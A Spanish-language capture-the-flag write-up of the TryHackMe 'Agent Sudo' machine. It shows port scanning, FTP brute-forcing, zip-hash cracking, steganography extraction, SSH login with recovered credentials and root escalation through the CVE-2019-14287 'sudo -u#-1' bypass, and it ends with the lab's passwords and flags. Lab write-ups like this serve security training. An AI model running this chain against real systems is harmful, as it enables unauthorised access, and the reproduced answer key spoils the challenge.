Agent Sudo - TryHackMe
PortScan
❯ sudo nmap -sCV -p21,22,80 10.10.246.3 -oN targeted
Starting Nmap 7.93 ( https://nmap.org ) at 2023-02-17 19:26 CST
Nmap scan report for 10.10.246.3
Host is up (0.36s latency).
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 3.0.3
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 ef1f5d04d47795066072ecf058f2cc07 (RSA)
| 256 5e02d19ac4e7430662c19e25848ae7ea (ECDSA)
|_ 256 2d005cb9fda8c8d880e3924f8b4f18e2 (ED25519)
80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
|_http-title: Annoucement
|_http-server-header: Apache/2.4.29 (Ubuntu)
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 34.07 seconds
Enumeration
❯ whatweb http://10.10.246.3
http://10.10.246.3 [200 OK] Apache[2.4.29], Country[RESERVED][ZZ], HTML5, HTTPServer[Ubuntu Linux][Apache/2.4.29 (Ubuntu)], IP[10.10.246.3], Title[Annoucement]
Asi es como esta la pagina web
Bueno en la web nos dice sobre el user agent asi que vamos a capturar la peticion con burpsuite
para ver eso
Si ponemos la letra R en el user agent nos da esta respuesta
Si seguimos poniendo letras cuando llegamos ala letra R y hacemos un follow redirection nos da este mensaje basicamente en la web nos estan diciendo que en el user-agent hay que poner nuesto codename al probar con letras nos damos cuenta que funciona y ese podria ser el identificador de varios agentes.
Si ponemos la letra C nos da esta respuesta
Como sabemos que hay una ruta existente podemos ver que es lo que hay agent_C_attention.php
es lo mismo que en burpsuite por que es la misma ruta
Podemos ver que dice que recuerda nuestro trato de decirle al agent J
al parecer hay varios agentes y los identifican por una letra al final le dice que cambie su contraseña por que es debil
Hay que recordar que el servicio ftp
esta abierto asi que podemos hacer fuerza bruta con hydra
tenemos un usuario chris
y como le estan diciendo que su contraseña es debil lo mas probable es que este en el rockyou.txt
Tenemos la contraseña
chris:crystal
Podemos conectarnos al servicio ftp y vemos estos archivos vamos a traer los archivos a nuestra maquina de atacante
❯ ftp 10.10.246.3
Connected to 10.10.246.3.
220 (vsFTPd 3.0.3)
Name (10.10.246.3:miguelrega7): chris
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> dir
200 PORT command successful. Consider using PASV.
150 Here comes the directory listing.
-rw-r--r-- 1 0 0 217 Oct 29 2019 To_agentJ.txt
-rw-r--r-- 1 0 0 33143 Oct 29 2019 cute-alien.jpg
-rw-r--r-- 1 0 0 34842 Oct 29 2019 cutie.png
226 Directory send OK.
ftp>
ftp> mget *
mget To_agentJ.txt?
200 PORT command successful. Consider using PASV.
150 Opening BINARY mode data connection for To_agentJ.txt (217 bytes).
226 Transfer complete.
217 bytes received in 0.00 secs (96.4122 kB/s)
mget cute-alien.jpg?
200 PORT command successful. Consider using PASV.
150 Opening BINARY mode data connection for cute-alien.jpg (33143 bytes).
226 Transfer complete.
33143 bytes received in 1.96 secs (16.5509 kB/s)
mget cutie.png?
200 PORT command successful. Consider using PASV.
150 Opening BINARY mode data connection for cutie.png (34842 bytes).
226 Transfer complete.
34842 bytes received in 0.56 secs (60.8779 kB/s)
ftp>
Bueno tenemos 3 archivos vamos a ver que es lo que tiene
❯ exiftool cute-alien.jpg
ExifTool Version Number : 12.16
File Name : cute-alien.jpg
Directory : .
File Size : 32 KiB
File Modification Date/Time : 2023:02:17 20:08:25-06:00
File Access Date/Time : 2023:02:17 20:08:23-06:00
File Inode Change Date/Time : 2023:02:17 20:08:25-06:00
File Permissions : rw-r--r--
File Type : JPEG
File Type Extension : jpg
MIME Type : image/jpeg
JFIF Version : 1.01
Resolution Unit : inches
X Resolution : 96
Y Resolution : 96
Image Width : 440
Image Height : 501
Encoding Process : Baseline DCT, Huffman coding
Bits Per Sample : 8
Color Components : 3
Y Cb Cr Sub Sampling : YCbCr4:2:0 (2 2)
Image Size : 440x501
Megapixels : 0.220
❯ exiftool cutie.png
ExifTool Version Number : 12.16
File Name : cutie.png
Directory : .
File Size : 34 KiB
File Modification Date/Time : 2023:02:17 20:08:27-06:00
File Access Date/Time : 2023:02:17 20:08:27-06:00
File Inode Change Date/Time : 2023:02:17 20:08:27-06:00
File Permissions : rw-r--r--
File Type : PNG
File Type Extension : png
MIME Type : image/png
Image Width : 528
Image Height : 528
Bit Depth : 8
Color Type : Palette
Compression : Deflate/Inflate
Filter : Adaptive
Interlace : Noninterlaced
Palette : (Binary data 762 bytes, use -b option to extract)
Transparency : (Binary data 42 bytes, use -b option to extract)
Warning : [minor] Trailer data after PNG IEND chunk
Image Size : 528x528
Megapixels : 0.279
Hay una carta del agente C
y dice que las fotos de los alien son falsas que la real esta dentro del directorio de J
❯ /bin/cat To_agentJ.txt
Dear agent J,
All these alien like photos are fake! Agent R stored the real picture inside your directory. Your login password is somehow stored in the fake picture. It shouldn't be a problem for you.
From,
Agent C
Vemos que la foto cutie.png
tiene mas informacion vamos a usar otra herramienta para obtener mas informacion vemos que hay un archivo zip
pero esta encriptado
❯ binwalk cutie.png
DECIMAL HEXADECIMAL DESCRIPTION
--------------------------------------------------------------------------------
0 0x0 PNG image, 528 x 528, 8-bit colormap, non-interlaced
869 0x365 Zlib compressed data, best compression
34562 0x8702 Zip archive data, encrypted compressed size: 98, uncompressed size: 86, name: To_agentR.txt
34820 0x8804 End of Zip archive, footer length: 22
Vamos a traernos el zip
encriptado a nuestra maquina de atacante al hacer esto nos creo una carpeta
❯ sudo binwalk cutie.png -e
DECIMAL HEXADECIMAL DESCRIPTION
--------------------------------------------------------------------------------
0 0x0 PNG image, 528 x 528, 8-bit colormap, non-interlaced
869 0x365 Zlib compressed data, best compression
34562 0x8702 Zip archive data, encrypted compressed size: 98, uncompressed size: 86, name: To_agentR.txt
34820 0x8804 End of Zip archive, footer length: 22
❯ ls
365 365.zlib 8702.zip To_agentR.txt
Por el momento el archivo To_agentR.txt
esta vacio asi que vamos a usar john para crackear el archivo .zip
❯ zip2john 8702.zip > xd.txt
ver 81.9 8702.zip/To_agentR.txt is not encrypted, or stored with non-handled compression type
❯ /bin/cat xd.txt
8702.zip/To_agentR.txt:$zip2$*0*1*0*4673cae714579045*67aa*4e*61c4cf3af94e649f827e5964ce575c5f7a239c48fb992c8ea8cbffe51d03755e0ca861a5a3dcbabfa618784b85075f0ef476c6da8261805bd0a4309db38835ad32613e3dc5d7e87c0f91c0b5e64e*4969f382486cb6767ae6*$/zip2$:To_agentR.txt:8702.zip:8702.zip
Tenemos la contraseña
❯ john -w:/usr/share/wordlists/rockyou.txt xd.txt
Using default input encoding: UTF-8
Loaded 1 password hash (ZIP, WinZip [PBKDF2-SHA1 512/512 AVX512BW 16x])
Will run 2 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
alien (8702.zip/To_agentR.txt)
1g 0:00:00:00 DONE (2023-02-17 20:19) 2.702g/s 66421p/s 66421c/s 66421C/s christal..280789
Use the "--show" option to display all of the cracked passwords reliably
Session completed
alien
Ahora podemos ver que el contenido del comprimido
❯ 7z e 8702.zip
7-Zip [64] 16.02 : Copyright (c) 1999-2016 Igor Pavlov : 2016-05-21
p7zip Version 16.02 (locale=es_MX.UTF-8,Utf16=on,HugeFiles=on,64 bits,2 CPUs Intel(R) Core(TM) i5-1035G1 CPU @ 1.00GHz (706E5),ASM,AES-NI)
Scanning the drive for archives:
1 file, 280 bytes (1 KiB)
Extracting archive: 8702.zip
--
Path = 8702.zip
Type = zip
Physical Size = 280
Would you like to replace the existing file:
Path: ./To_agentR.txt
Size: 0 bytes
Modified: 2019-10-29 06:29:11
with the file from archive:
Path: To_agentR.txt
Size: 86 bytes (1 KiB)
Modified: 2019-10-29 06:29:11
? (Y)es / (N)o / (A)lways / (S)kip all / A(u)to rename all / (Q)uit? Y
Enter password (will not be echoed):
Everything is Ok
Size: 86
Compressed: 280
❯ ls
365 365.zlib 8702.zip To_agentR.txt xd.txt
❯ /bin/cat To_agentR.txt
Agent C,
We need to send the picture to 'QXJlYTUx' as soon as possible!
By,
Agent R
Ahora dice que tenemos que enviar una foto vamos a decodear
esa cadena para ver que dice
❯ echo -n 'QXJlYTUx' | base64 --decode
Area51#
Hay que recordar que queda una imagen y es cute-alien.jpg
despues de poner la contraseña nos da un message.txt
❯ steghide extract -sf cute-alien.jpg
Anotar salvoconducto:
anot los datos extrados e/"message.txt".
Tenemos credenciales podemos conectarnos por SSH
para ver si funcionan
❯ /bin/cat message.txt
Hi james,
Glad you find this message. Your login password is hackerrules!
Don't ask me why the password look cheesy, ask agent R who set this password for you.
Your buddy,
chris
james:hackerrules!
Ahora podemos conectarnos por SSH
❯ ssh james@10.10.246.3
The authenticity of host '10.10.246.3 (10.10.246.3)' can't be established.
ECDSA key fingerprint is SHA256:yr7mJyy+j1G257OVtst3Zkl+zFQw8ZIBRmfLi7fX/D8.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.10.246.3' (ECDSA) to the list of known hosts.
james@10.10.246.3's password:
Welcome to Ubuntu 18.04.3 LTS (GNU/Linux 4.15.0-55-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage
System information as of Sat Feb 18 02:51:14 UTC 2023
System load: 0.0 Processes: 97
Usage of /: 39.7% of 9.78GB Users logged in: 0
Memory usage: 33% IP address for eth0: 10.10.246.3
Swap usage: 0%
75 packages can be updated.
33 updates are security updates.
Last login: Tue Oct 29 14:26:27 2019
james@agent-sudo:~$ whoami
james
james@agent-sudo:~$
Vemos la user flag
james@agent-sudo:~$ ls
Alien_autospy.jpg user_flag.txt
james@agent-sudo:~$ cat user_flag.txt
b03d975e8c92a7c04146cfa7a5a313c7
james@agent-sudo:~$
Para contestar una pregunta que dice que cual es el incidente de la foto tenemos que pasarla a nuestra maquina de atacante
❯ scp james@10.10.246.3:Alien_autospy.jpg ~/
james@10.10.246.3's password:
Alien_autospy.jpg
Bueno al ver la imagen bueno no es necesario buscarla en google yo se de que trata y es sobre Roswell alien autopsy
Root
Una formal altenartiva de hacer la maquina es usando este script que desarrollo s4vitar y su compañero vowkin
❯ searchsploit lxd
---------------------------------------------------------------------------------------------- ---------------------------------
Exploit Title | Path
---------------------------------------------------------------------------------------------- ---------------------------------
Ubuntu 18.04 - 'lxd' Privilege Escalation | linux/local/46978.sh
---------------------------------------------------------------------------------------------- ---------------------------------
Shellcodes: No Results
Pero lo haremos de otra forma al ver esto nos damos cuenta que puedes usar el script por que estamos en el grupo lxd
james@agent-sudo:~$ id
uid=1000(james) gid=1000(james) groups=1000(james),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),108(lxd)
james@agent-sudo:~$ sudo -l
[sudo] password for james:
Matching Defaults entries for james on agent-sudo:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User james may run the following commands on agent-sudo:
(ALL, !root) /bin/bash
james@agent-sudo:~$
Si investigamos hay un CVE https://www.exploit-db.com/exploits/47502
Esto no tiene mayor dificultadad
james@agent-sudo:~$ sudo -u#-1 /bin/bash
root@agent-sudo:~# whoami
root
root@agent-sudo:~# cd /root
root@agent-sudo:/root# ls
root.txt
root@agent-sudo:/root# cat root.txt
To Mr.hacker,
Congratulation on rooting this box. This box was designed for TryHackMe. Tips, always update your machine.
Your flag is
b53a02f55b57d4439e3341834d70c062
By,
DesKel a.k.a Agent R
root@agent-sudo:/root#
Si quieres ver como ser root usando el lxd
puedes ver videos directamente del creador explicando como se hace
https://github.com/s4vitar
Preguntas Enumerate
How many open ports: 3
How you redirect yourself to a secret page?: user-agent
What is the agent name?: chris
Hash cracking and brute-force
FTP password: crystal
Zip file password: alien
steg password: area51
Who is the other agent (in full name)?: James
SSH password: hackerrules
What is the user flag?: b03d975e8c92a7c04146cfa7a5a313c7
What is the incident of the photo called?: Roswell alien autopsy
Privilege escalation
(Format: CVE-xxxx-xxxx): CVE-2019-14287
What is the root flag?: b53a02f55b57d4439e3341834d70c062
(Bonus) Who is Agent R?: DesKel